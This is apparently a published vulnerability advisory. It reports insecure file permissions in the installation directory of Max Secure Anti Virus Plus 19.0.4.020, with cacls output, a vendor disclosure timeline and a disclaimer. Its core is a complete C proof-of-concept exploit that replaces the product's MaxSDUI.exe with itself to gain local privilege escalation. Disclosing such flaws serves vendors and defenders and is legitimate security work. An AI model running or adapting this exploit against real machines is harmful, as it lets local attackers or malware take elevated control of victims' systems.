# Exploit Title: Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions
# Discovery by: hyp3rlinx
# Date: 2019-12-02
# Vendor Homepage: www.maxpcsecure.com
# Tested Version: 19.0.4.020
# CVE: N/A
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MAX-SECURE-PLUS-ANTIVIRUS-INSECURE-PERMISSIONS.txt
[+] ISR: ApparitionSec
[Vendor]
www.maxpcsecure.com
[Affected Product Code Base]
Max Secure Anti Virus Plus - 19.0.4.020
File hash: ab1dda23ad3955eb18fdb75f3cbc308a
msplusx64.exe
[Vulnerability Type]
Insecure Permissions
[CVE Reference]
N/A
[Security Issue]
Max Secure Anti Virus Plus 19.0.4.020 has Insecure Permissions on the installation directory.
Local attackers or malware running at low integrity can replace a .exe or .dll file to achieve privilege escalation.
C:\Program Files\Max Secure Anti Virus Plus>cacls * | more
C:\Program Files\Max Secure Anti Virus Plus\7z.dll NT AUTHORITY\Authenticated Users:(ID)F
BUILTIN\Users:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
[Affected Component]
Permissions on installation directory
[Exploit/POC]
#include <stdio.h>
#include <windows.h>
#define TARGET "C:\\Program Files\\Max Secure Anti Virus Plus\\MaxSDUI.exe"
#define TMP "C:\\Program Files\\Max Secure Anti Virus Plus\\2.exe"
#define DISABLED_TARGET "C:\\Program Files\\Max Secure Anti Virus Plus\\666.tmp"
/* Max Secure Anti Virus Plus PoC By hyp3rlinx */
BOOL PWNED=FALSE;
BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
void main(void){
if(!FileExists(DISABLED_TARGET)){
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Max Secure Anti Virus Plus EoP PoC\n");
Sleep(1000);
printf("[+] Disabled MaxSDUI.exe ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}
if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Replaced legit Max Secure EXE...\n");
Sleep(2000);
printf("[+] Done!\n");
MoveFile(fname, "C:\\Program Files\\Max Secure Anti Virus Plus\\MaxPwn.lnk");
Sleep(1000);
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Max Secure Anti Virus Plus PWNED!!!\n");
printf("[+] hyp3rlinx\n");
system("pause");
}
}
[POC Video URL]
https://www.youtube.com/watch?v=DXSV5geXkTw
[Network Access]
Local
[Severity]
High
[Disclosure Timeline]
Vendor Notification: November 19, 2019
Vendor: "received a reply they will fix soon"
Status request: November 24, 2019
No replies other than automated response.
November 29, 2019 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
